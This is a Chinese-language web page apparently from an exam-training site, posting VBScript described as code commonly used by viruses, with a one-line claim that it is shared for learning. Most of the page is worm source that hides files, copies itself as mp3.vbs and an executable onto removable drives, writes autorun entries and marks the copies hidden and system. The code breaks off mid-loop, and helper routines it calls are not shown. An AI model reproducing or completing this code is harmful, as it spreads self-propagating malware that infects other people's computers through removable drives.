一段病毒常用的VBS代碼
來源:易賢網(wǎng) 閱讀:2415 次 日期:2016-07-18 13:51:58
溫馨提示:易賢網(wǎng)小編為您整理了“一段病毒常用的VBS代碼”,方便廣大網(wǎng)友查閱!

vbs病毒文件常用的代碼,給這段代碼不是想讓大家做病毒,而是讓大家學(xué)習(xí)一下它的代碼,充分了解vbs技術(shù)。

代碼如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不顯示隱藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夾改名

If fso.FolderExists(dri.Path&"\autorun.inf") Then

fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"

End If

'復(fù)制自身及exe文件到移動硬盤

If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then

Else

If fso.FileExists(dri.Path&"\mp3.vbs") Then

fso.DeleteFile dri.Path&"\mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then

fso.DeleteFile dri.Path&"\autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True

If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then

fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True

End If

autoinf(dri.Path)

'給剛復(fù)制的文件加上隱藏屬性

Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0

Set norkon=Nothing

更多信息請查看腳本欄目
易賢網(wǎng)手機(jī)網(wǎng)站地址:一段病毒常用的VBS代碼
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2025國考·省考課程試聽報(bào)名

  • 報(bào)班類型
  • 姓名
  • 手機(jī)號
  • 驗(yàn)證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:526150442(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報(bào)警專用圖標(biāo)